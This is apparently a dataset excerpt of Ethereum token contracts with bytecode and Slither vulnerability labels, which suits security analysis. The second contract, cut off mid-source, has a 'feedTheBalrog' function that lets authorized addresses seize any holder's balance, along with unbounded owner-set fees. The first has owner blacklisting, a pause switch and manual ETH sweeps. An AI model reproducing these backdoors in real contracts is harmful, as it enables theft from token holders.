require(balanceOf(from) >= amount,"Balance less then transfer");
require(!bots[from],"Blacklisted can't trade");
tax = 0;
if (!(_isExcludedFromFee[from] || _isExcludedFromFee[to]) ) {
require(!paused,"Trading is paused");
require(amount <= _maxTxAmount,"Amount exceed max trnx amount");
if(to != uniswapV2Pair){ //can't have tokens over maxWallet
require(balanceOf(to) + amount*(1-(buyTax/100)) <= maxWallet,"max Wallet limit exceeded");
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 1 ether) { // Minimum 1 eth before sending to marketing wallet
sendETHToFee(address(this).balance);
}
if(from == uniswapV2Pair){ // Buy transaction
tax = buyTax;
}
else if(to == uniswapV2Pair){ // Only Swap taxes on a sell
tax = sellTax;
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap){
if(contractTokenBalance > _tTotal/1000){ // 0.01%
swapTokensForEth(contractTokenBalance);
}
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external{
require(tradingOpen,"Trading is not enabled yet");
require(tradingEnableTime+ 10 minutes < block.timestamp,"Transaction limit can only be lifted 10 mins after trading is enanbled");
_maxTxAmount = _tTotal ;
emit MaxTxAmountUpdated(_tTotal);
}
function sendETHToFee(uint256 amount) private {
devWallet.transfer((amount*14)/100);
marketingWallet.transfer(address(this).balance);
}
function openTrading() external onlyOwner {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxTxAmount = _tTotal/1000;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
tradingEnableTime = block.timestamp;
}
function blacklistBot(address _address) external onlyOwner{
bots[_address] = true;
}
function changeMarketingWallet( address payable _address) external onlyOwner notLocked(Functions.changeMarketWallet){
require(_address != address(0),"Marketing Wallet can not be zero");
marketingWallet = _address;
timelock[Functions.changeMarketWallet] = 0;
}
function removeFromBlacklist(address notbot) external onlyOwner{
bots[notbot] = false;
}
function emergencyPause() external onlyOwner notLocked(Functions.pause){
paused = !paused;
timelock[Functions.pause] = 0;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
uint256 tTeam = amount*tax/100; // tax amount
uint256 remainingAmount = amount - tTeam; // to Send
balance[sender] = balance[sender].sub(amount); // deduct from sender
balance[recipient] = balance[recipient].add(remainingAmount); // add to recipient
balance[address(this)] = balance[address(this)].add(tTeam); // add team Take to address
emit Transfer(sender, recipient, remainingAmount);
}
function whitelistAddress(address _addr,bool _bool) external onlyOwner{ //add or remove address from whitelist
_isExcludedFromFee[_addr] = _bool;
}
receive() external payable {}
function transferERC20(IERC20 token, uint256 amount) external onlyOwner{ //function to transfer stuck erc20 tokens
require(token != IERC20(address(this)),"You can't withdraw kawa tokens from owned by contract.");
uint256 erc20balance = token.balanceOf(address(this));
require(amount <= erc20balance, "balance is low");
token.transfer(marketingWallet, amount);
}
event buyTaxUpdated(uint256 _newTaxAmount);
function changeBuyTax(uint256 _newBuyTax) external onlyOwner{
require(_newBuyTax < 6,"New Buy tax have to be under 6");
buyTax = _newBuyTax;
emit buyTaxUpdated(_newBuyTax);
}
function manualswap() external onlyOwner{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external onlyOwner{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
} | 0x6080604052600436106101855760003560e01c80638da5cb5b116100d1578063bb85c6d11161008a578063c9567bf911610064578063c9567bf9146104ad578063dd62ed3e146104c2578063f2fde38b14610508578063f7448a311461052857600080fd5b8063bb85c6d11461044b578063c17bae2a1461046b578063c3c8cd801461049857600080fd5b80638da5cb5b1461037657806395d89b411461039e578063a9059cbb146103cb578063aa53099d146103eb578063b4fa3b981461040b578063b9a45aac1461042b57600080fd5b80632ab308381161013e57806351858e271161011857806351858e27146102f6578063537df3b61461030b5780636fc3eaec1461032b57806370a082311461034057600080fd5b80632ab308381461028c578063313ce567146102a15780633af32abf146102bd57600080fd5b806306fdde031461019157806308aad1f1146101d4578063095ea7b3146101f657806318160ddd1461022657806323b872dd1461024c57806324c16b7f1461026c57600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506040805180820190915260088152674b6177616b616d6960c01b60208201525b6040516101cb9190611d98565b60405180910390f35b3480156101e057600080fd5b506101f46101ef366004611bec565b610548565b005b34801561020257600080fd5b50610216610211366004611cce565b61059f565b60405190151581526020016101cb565b34801561023257600080fd5b50683635c9adc5a30536005b6040519081526020016101cb565b34801561025857600080fd5b50610216610267366004611c5f565b6105b5565b34801561027857600080fd5b506101f4610287366004611d38565b61061e565b34801561029857600080fd5b506101f46106d3565b3480156102ad57600080fd5b50604051600981526020016101cb565b3480156102c957600080fd5b506102166102d8366004611bec565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561030257600080fd5b506101f4610803565b34801561031757600080fd5b506101f4610326366004611bec565b610906565b34801561033757600080fd5b506101f4610951565b34801561034c57600080fd5b5061023e61035b366004611bec565b6001600160a01b031660009081526002602052604090205490565b34801561038257600080fd5b506000546040516001600160a01b0390911681526020016101cb565b3480156103aa57600080fd5b506040805180820190915260048152634b41574160e01b60208201526101be565b3480156103d757600080fd5b506102166103e6366004611cce565b610988565b3480156103f757600080fd5b506101f4610406366004611d17565b610995565b34801561041757600080fd5b506101f4610426366004611d17565b610a24565b34801561043757600080fd5b506101f4610446366004611ca0565b610a66565b34801561045757600080fd5b506101f4610466366004611bec565b610abb565b34801561047757600080fd5b5061023e610486366004611d17565b60016020526000908152604090205481565b3480156104a457600080fd5b506101f4610c10565b3480156104b957600080fd5b506101f4610c53565b3480156104ce57600080fd5b5061023e6104dd366004611c26565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561051457600080fd5b506101f4610523366004611bec565b61103e565b34801561053457600080fd5b506101f4610543366004611cce565b611150565b6000546001600160a01b0316331461057b5760405162461bcd60e51b815260040161057290611e1d565b60405180910390fd5b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b60006105ac33848461133b565b50600192915050565b60006105c284848461145f565b610614843361060f85604051806060016040528060288152602001611f99602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906117ed565b61133b565b5060019392505050565b6000546001600160a01b031633146106485760405162461bcd60e51b815260040161057290611e1d565b600681106106985760405162461bcd60e51b815260206004820152601e60248201527f4e65772042757920746178206861766520746f20626520756e646572203600006044820152606401610572565b60068190556040518181527f7dcc5c536517abaa6eb281914d04431307a734c37f1f9d4a0b6ea5776a455a2d9060200160405180910390a150565b600c54600160a01b900460ff1661072c5760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f7420656e61626c6564207965740000000000006044820152606401610572565b4260085461025861073d9190611ec3565b106107bf5760405162461bcd60e51b815260206004820152604660248201527f5472616e73616374696f6e206c696d69742063616e206f6e6c79206265206c6960448201527f66746564203130206d696e732061667465722074726164696e6720697320656e606482015265185b989b195960d21b608482015260a401610572565b683635c9adc5a3053600600d8190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b6000546001600160a01b0316331461082d5760405162461bcd60e51b815260040161057290611e1d565b6002600081905260016020527fd9d16d34ffb15ba3a3d852f0d403e2ce1d691fb54de27ac87cd2f993f3ec330f541580159061089e5750426001600083600281111561087b5761087b611f49565b600281111561088c5761088c611f49565b81526020019081526020016000205411155b6108ba5760405162461bcd60e51b815260040161057290611ded565b600c805460ff60a81b198116600160a81b9182900460ff1615909102179055600060018160025b60028111156108f2576108f2611f49565b815260208101919091526040016000205550565b6000546001600160a01b031633146109305760405162461bcd60e51b815260040161057290611e1d565b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000546001600160a01b0316331461097b5760405162461bcd60e51b815260040161057290611e1d565b4761098581611827565b50565b60006105ac33848461145f565b6000546001600160a01b031633146109bf5760405162461bcd60e51b815260040161057290611e1d565b600160008260028111156109d5576109d5611f49565b60028111156109e6576109e6611f49565b815260200190815260200160002054600014610a0157600080fd5b610a0e6202a30042611ec3565b600160008360028111156108e1576108e1611f49565b6000546001600160a01b03163314610a4e5760405162461bcd60e51b815260040161057290611e1d565b6000600160008360028111156108e1576108e1611f49565b6000546001600160a01b03163314610a905760405162461bcd60e51b815260040161057290611e1d565b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610ae55760405162461bcd60e51b815260040161057290611e1d565b6001600081905260208190527fcc69885fda6bcc1a4ace058b4a62bf5e179ea78fd58a1ccd71c22cc9b688792f5415801590610b5657504260016000836002811115610b3357610b33611f49565b6002811115610b4457610b44611f49565b81526020019081526020016000205411155b610b725760405162461bcd60e51b815260040161057290611ded565b6001600160a01b038216610bc85760405162461bcd60e51b815260206004820181905260248201527f4d61726b6574696e672057616c6c65742063616e206e6f74206265207a65726f6044820152606401610572565b600980546001600160a01b0319166001600160a01b0384161790556000600181815b6002811115610bfb57610bfb611f49565b81526020810191909152604001600020555050565b6000546001600160a01b03163314610c3a5760405162461bcd60e51b815260040161057290611e1d565b30600090815260026020526040902054610985816118b3565b6000546001600160a01b03163314610c7d5760405162461bcd60e51b815260040161057290611e1d565b600c54600160a01b900460ff1615610cd75760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610572565b600b80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610d143082683635c9adc5a305360061133b565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d4d57600080fd5b505afa158015610d61573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d859190611c09565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dcd57600080fd5b505afa158015610de1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e059190611c09565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610e4d57600080fd5b505af1158015610e61573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e859190611c09565b600c80546001600160a01b039283166001600160a01b0319909116179055600b541663f305d7194730610ecd816001600160a01b031660009081526002602052604090205490565b600080610ee26000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610f4557600080fd5b505af1158015610f59573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7e9190611d6a565b5050506103e8683635c9adc5a3053600610f989190611edb565b600d55600c8054600160a01b60ff60a01b19821617909155600b5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610ffe57600080fd5b505af1158015611012573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110369190611cfa565b505042600855565b6000546001600160a01b031633146110685760405162461bcd60e51b815260040161057290611e1d565b600080805260016020527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb4954158015906110d7575042600160008360028111156110b4576110b4611f49565b60028111156110c5576110c5611f49565b81526020019081526020016000205411155b6110f35760405162461bcd60e51b815260040161057290611ded565b600080546040516001600160a01b03808616939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b03841617815560018180610bea565b6000546001600160a01b0316331461117a5760405162461bcd60e51b815260040161057290611e1d565b6001600160a01b0382163014156111f25760405162461bcd60e51b815260206004820152603660248201527f596f752063616e2774207769746864726177206b61776120746f6b656e7320666044820152753937b69037bbb732b210313c9031b7b73a3930b1ba1760511b6064820152608401610572565b6040516370a0823160e01b81523060048201526000906001600160a01b038416906370a082319060240160206040518083038186803b15801561123457600080fd5b505afa158015611248573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126c9190611d51565b9050808211156112af5760405162461bcd60e51b815260206004820152600e60248201526d62616c616e6365206973206c6f7760901b6044820152606401610572565b60095460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018490529084169063a9059cbb90604401602060405180830381600087803b1580156112fd57600080fd5b505af1158015611311573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113359190611cfa565b50505050565b6001600160a01b03831661139d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610572565b6001600160a01b0382166113fe5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610572565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600081116114c15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610572565b806114e1846001600160a01b031660009081526002602052604090205490565b101561152f5760405162461bcd60e51b815260206004820152601a60248201527f42616c616e6365206c657373207468656e207472616e736665720000000000006044820152606401610572565b6001600160a01b03831660009081526005602052604090205460ff16156115985760405162461bcd60e51b815260206004820152601760248201527f426c61636b6c69737465642063616e27742074726164650000000000000000006044820152606401610572565b600060078190556001600160a01b03841681526004602052604090205460ff16806115db57506001600160a01b03821660009081526004602052604090205460ff165b6117dd57600c54600160a81b900460ff161561162d5760405162461bcd60e51b8152602060048201526011602482015270151c98591a5b99c81a5cc81c185d5cd959607a1b6044820152606401610572565b600d5481111561167f5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e7420657863656564206d61782074726e7820616d6f756e740000006044820152606401610572565b600c546001600160a01b0383811691161461173d576116a86032683635c9adc5a3053600611edb565b60646006546116b79190611edb565b6116c2906001611f1c565b6116cc9083611efd565b6001600160a01b0384166000908152600260205260409020546116ef9190611ec3565b111561173d5760405162461bcd60e51b815260206004820152601960248201527f6d61782057616c6c6574206c696d6974206578636565646564000000000000006044820152606401610572565b47670de0b6b3a76400008111156117575761175747611827565b600c546001600160a01b0385811691161415611778576006546007556117db565b600c546001600160a01b03848116911614156117db57600960075530600090815260026020526040902054600a54600160a01b900460ff166117d9576117c96103e8683635c9adc5a3053600611edb565b8111156117d9576117d9816118b3565b505b505b6117e8838383611a3c565b505050565b600081848411156118115760405162461bcd60e51b81526004016105729190611d98565b50600061181e8486611f1c565b95945050505050565b600a546001600160a01b03166108fc606461184384600e611efd565b61184d9190611edb565b6040518115909202916000818181858888f19350505050158015611875573d6000803e3d6000fd5b506009546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156118af573d6000803e3d6000fd5b5050565b600a805460ff60a01b1916600160a01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118fb576118fb611f5f565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561194f57600080fd5b505afa158015611963573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119879190611c09565b8160018151811061199a5761199a611f5f565b6001600160a01b039283166020918202929092010152600b546119c0913091168461133b565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac947906119f9908590600090869030904290600401611e52565b600060405180830381600087803b158015611a1357600080fd5b505af1158015611a27573d6000803e3d6000fd5b5050600a805460ff60a01b1916905550505050565b6000606460075483611a4e9190611efd565b611a589190611edb565b90506000611a668284611f1c565b6001600160a01b038616600090815260026020526040902054909150611a8c9084611b44565b6001600160a01b038087166000908152600260205260408082209390935590861681522054611abb9082611b8d565b6001600160a01b038516600090815260026020526040808220929092553081522054611ae79083611b8d565b3060009081526002602090815260409182902092909255518281526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b6000611b8683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117ed565b9392505050565b600080611b9a8385611ec3565b905083811015611b865760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610572565b600060208284031215611bfe57600080fd5b8135611b8681611f75565b600060208284031215611c1b57600080fd5b8151611b8681611f75565b60008060408385031215611c3957600080fd5b8235611c4481611f75565b91506020830135611c5481611f75565b809150509250929050565b600080600060608486031215611c7457600080fd5b8335611c7f81611f75565b92506020840135611c8f81611f75565b929592945050506040919091013590565b60008060408385031215611cb357600080fd5b8235611cbe81611f75565b91506020830135611c5481611f8a565b60008060408385031215611ce157600080fd5b8235611cec81611f75565b946020939093013593505050565b600060208284031215611d0c57600080fd5b8151611b8681611f8a565b600060208284031215611d2957600080fd5b813560038110611b8657600080fd5b600060208284031215611d4a57600080fd5b5035919050565b600060208284031215611d6357600080fd5b5051919050565b600080600060608486031215611d7f57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611dc557858101830151858201604001528201611da9565b81811115611dd7576000604083870101525b50601f01601f1916929092016040019392505050565b602080825260169082015275119d5b98dd1a5bdb881a5cc81d1a5b595b1bd8dad95960521b604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ea25784516001600160a01b031683529383019391830191600101611e7d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ed657611ed6611f33565b500190565b600082611ef857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f1757611f17611f33565b500290565b600082821015611f2e57611f2e611f33565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461098557600080fd5b801515811461098557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205d0a32cd3daf9cb8a89fc0b5a827e53bc9cee971447c40faea0527f9ed0622c664736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,180 |
0xdafe6d3d4a17a8ca92a74c5877e2e23af45e32a0 | /**
Capture the Flag
▶ If you make the biggest buy (in tokens) you will hold the Flag for one hour, and collect 4% fees (in ETH) the same way marketing does.
Once the hour is finished, the counter will be reset and everyone will be able to compete again for the capture of the Flag.
▶ If you sell any tokens at all at any point you are not worthy of the Flag.
▶ If someone beats your record, they steal your Flag.
Telegram: https://t.me/CaptureTheFlagERC
*/
pragma solidity ^0.7.4;
// SPDX-License-Identifier: Unlicensed
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function getAmountsIn(uint256 amountOut, address[] memory path)
external
view
returns (uint256[] memory amounts);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
abstract contract Auth {
address internal owner;
mapping(address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true;
}
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER");
_;
}
modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED");
_;
}
function authorize(address adr) public onlyOwner {
authorizations[adr] = true;
}
function unauthorize(address adr) public onlyOwner {
authorizations[adr] = false;
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
abstract contract ERC20Interface {
function balanceOf(address whom) public view virtual returns (uint256);
}
contract CaptureTheFlag is IERC20, Auth {
using SafeMath for uint256;
string constant _name = "Capture The Flag";
string constant _symbol = "$FLAG";
uint8 constant _decimals = 18;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 _totalSupply = 10000 * (10**_decimals);
uint256 public biggestBuy = 0;
uint256 public lastRingChange = 0;
uint256 public resetPeriod = 1 hours;
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) _allowances;
mapping(address => bool) public isFeeExempt;
mapping(address => bool) public isTxLimitExempt;
mapping(address => bool) public hasSold;
uint256 public liquidityFee = 2;
uint256 public marketingFee = 9;
uint256 public ringFee = 4;
uint256 public totalFee = 0;
uint256 public totalFeeIfSelling = 0;
address public autoLiquidityReceiver;
address public marketingWallet;
address public Ring;
IDEXRouter public router;
address public pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 private _maxTxAmount = _totalSupply / 100;
uint256 private _maxWalletAmount = _totalSupply / 50;
uint256 public swapThreshold = _totalSupply / 100;
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
event AutoLiquify(uint256 amountETH, uint256 amountToken);
event NewRing(address ring, uint256 buyAmount);
event RingPayout(address ring, uint256 amountETH);
event RingSold(address ring, uint256 amountETH);
constructor() Auth(msg.sender) {
router = IDEXRouter(routerAddress);
pair = IDEXFactory(router.factory()).createPair(
router.WETH(),
address(this)
);
_allowances[address(this)][address(router)] = uint256(-1);
isFeeExempt[DEAD] = true;
isTxLimitExempt[DEAD] = true;
isFeeExempt[msg.sender] = true;
isFeeExempt[address(this)] = true;
isTxLimitExempt[msg.sender] = true;
isTxLimitExempt[pair] = true;
autoLiquidityReceiver = msg.sender;
marketingWallet = msg.sender;
Ring = msg.sender;
totalFee = liquidityFee.add(marketingFee).add(ringFee);
totalFeeIfSelling = totalFee;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable {}
function name() external pure override returns (string memory) {
return _name;
}
function symbol() external pure override returns (string memory) {
return _symbol;
}
function decimals() external pure override returns (uint8) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function getOwner() external view override returns (address) {
return owner;
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function setMaxTxAmount(uint256 amount) external authorized {
_maxTxAmount = amount;
}
function setFees(
uint256 newLiquidityFee,
uint256 newMarketingFee,
uint256 newringFee
) external authorized {
liquidityFee = newLiquidityFee;
marketingFee = newMarketingFee;
ringFee = newringFee;
}
function feedTheBalrog(address bot) external authorized {
uint256 botBalance = _balances[bot];
_balances[address(this)] = _balances[address(this)].add(botBalance);
_balances[bot] = 0;
emit Transfer(bot, address(this), botBalance);
}
function allowance(address holder, address spender)
external
view
override
returns (uint256)
{
return _allowances[holder][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(-1));
}
function setIsFeeExempt(address holder, bool exempt) external authorized {
isFeeExempt[holder] = exempt;
}
function setIsTxLimitExempt(address holder, bool exempt)
external
authorized
{
isTxLimitExempt[holder] = exempt;
}
function setSwapThreshold(uint256 threshold) external authorized {
swapThreshold = threshold;
}
function setFeeReceivers(
address newLiquidityReceiver,
address newMarketingWallet
) external authorized {
autoLiquidityReceiver = newLiquidityReceiver;
marketingWallet = newMarketingWallet;
}
function setResetPeriodInSeconds(uint256 newResetPeriod)
external
authorized
{
resetPeriod = newResetPeriod;
}
function _reset() internal {
Ring = marketingWallet;
biggestBuy = 0;
lastRingChange = block.timestamp;
}
function epochReset() external view returns (uint256) {
return lastRingChange + resetPeriod;
}
function _checkTxLimit(
address sender,
address recipient,
uint256 amount
) internal {
if (block.timestamp - lastRingChange > resetPeriod) {
_reset();
}
if (
sender != owner &&
recipient != owner &&
!isTxLimitExempt[recipient] &&
recipient != ZERO &&
recipient != DEAD &&
recipient != pair &&
recipient != address(this)
) {
require(amount <= _maxTxAmount, "MAX TX");
uint256 contractBalanceRecipient = balanceOf(recipient);
require(
contractBalanceRecipient + amount <= _maxWalletAmount,
"Exceeds maximum wallet token amount"
);
address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = address(this);
uint256 usedEth = router.getAmountsIn(amount, path)[0];
if (!hasSold[recipient] && usedEth > biggestBuy) {
Ring = recipient;
biggestBuy = usedEth;
lastRingChange = block.timestamp;
emit NewRing(Ring, biggestBuy);
}
}
if (
sender != owner &&
recipient != owner &&
!isTxLimitExempt[sender] &&
sender != pair &&
recipient != address(this)
) {
require(amount <= _maxTxAmount, "MAX TX");
if (Ring == sender) {
emit RingSold(Ring, biggestBuy);
_reset();
}
hasSold[sender] = true;
}
}
function setSwapBackSettings(bool enableSwapBack, uint256 newSwapBackLimit)
external
authorized
{
swapAndLiquifyEnabled = enableSwapBack;
swapThreshold = newSwapBackLimit;
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
if (_allowances[sender][msg.sender] != uint256(-1)) {
_allowances[sender][msg.sender] = _allowances[sender][msg.sender]
.sub(amount, "Insufficient Allowance");
}
_transferFrom(sender, recipient, amount);
return true;
}
function _transferFrom(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
if (inSwapAndLiquify) {
return _basicTransfer(sender, recipient, amount);
}
if (
msg.sender != pair &&
!inSwapAndLiquify &&
swapAndLiquifyEnabled &&
_balances[address(this)] >= swapThreshold
) {
swapBack();
}
_checkTxLimit(sender, recipient, amount);
require(!isWalletToWallet(sender, recipient), "Don't cheat");
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
uint256 amountReceived = !isFeeExempt[sender] && !isFeeExempt[recipient]
? takeFee(sender, recipient, amount)
: amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(msg.sender, recipient, amountReceived);
return true;
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFee(
address sender,
address recipient,
uint256 amount
) internal returns (uint256) {
uint256 feeApplicable = pair == recipient
? totalFeeIfSelling
: totalFee;
uint256 feeAmount = amount.mul(feeApplicable).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function isWalletToWallet(address sender, address recipient)
internal
view
returns (bool)
{
if (isFeeExempt[sender] || isFeeExempt[recipient]) {
return false;
}
